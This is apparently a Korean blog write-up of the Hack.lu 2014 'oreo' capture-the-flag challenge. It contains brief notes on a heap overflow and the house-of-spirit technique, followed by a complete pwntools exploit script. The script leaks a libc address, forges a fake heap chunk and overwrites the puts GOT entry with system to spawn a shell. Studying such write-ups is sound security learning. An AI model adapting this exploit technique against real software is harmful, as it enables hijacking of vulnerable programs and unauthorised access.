ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Hacklu 2014 oreo
    카테고리 없음 2017. 6. 27. 11:16
    add부분에서 heap오버플로우가일어남
    house_of_spirit를 사용하면 풀수있음
    Message변수에 들어가있는주소는 add할때마다 올라가는 숫자(카운트)가 저장되어있음
    그 카운트가 청크 사이즈가됨 + 0x4가 변조전에 add한 청크를 가르키고있는 포인터임
    그래서 Message+0x4로  add부분에서 수정하면그곳이 데이터시작위치가됨


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    from pwn import *
     
    #p=remote("localhost",9001)
    p=process("./oreo_35f118d90a7790bbd1eb6d4549993ef0")
    elf=ELF('oreo_35f118d90a7790bbd1eb6d4549993ef0')
    Message = 0x0804a2a4
    print p.recv(1024)
    def add(name,description):
        p.sendline("1")
        p.sendline(name)
        p.sendline(description)
    def Show():
        p.sendline("2")
    def Order():
        p.sendline("3")
    def Leave(submit_order):
        p.sendline("4")
        p.sendline(submit_order)
    def ShowCurrent():
        p.sendline("5")
    LeaveHeap = 0x0804a2a8
     
    top=0x20fc1
    payload='A'*27
    payload+=p32(elf.got['free'])
    add(payload,"B")##
    top-=0x40
    Show() ##
    print p.recvuntil('Description: ')
    print p.recvuntil('Description: ')
    p.recv(4)
    FREE=u32(p.recv(4))
    system = FREE - 0x1a5ee0
    cmd = system+0xe7139
    print hex(FREE)
    print hex(system)
    print hex(cmd)
     
    for i in range(0,60):
        add('D','Q')
        top-=0x40
     
    print hex(top)
     
    add("A"*27+'\x00'*4,'D')
    payload="A"*27
    payload+=p32(Message+0x4)
    add(payload,"DCBA")
    Leave(p32(0)*9+p32(0x12c)+p32(0)*4)
    Order()
    add("Z",p32(elf.got['puts']))
    Leave(p32(system)+p32(cmd))
    p.interactive()
     
    cs


    변조할 주소값을 알아야됨(SYSTEM LIBC 등), 그 변조할수있는 포인터를 free할수있어야됨


    첫 번째 청크를 가르키고있는 주소가있다면 그 주소값을 fake chunk가 있는 STACK주소로 변조했다치고, FREE를 하고 malloc를 하면 변조된 stack주소로 바뀌게됨

    HOW2HEAP 

Designed by Tistory.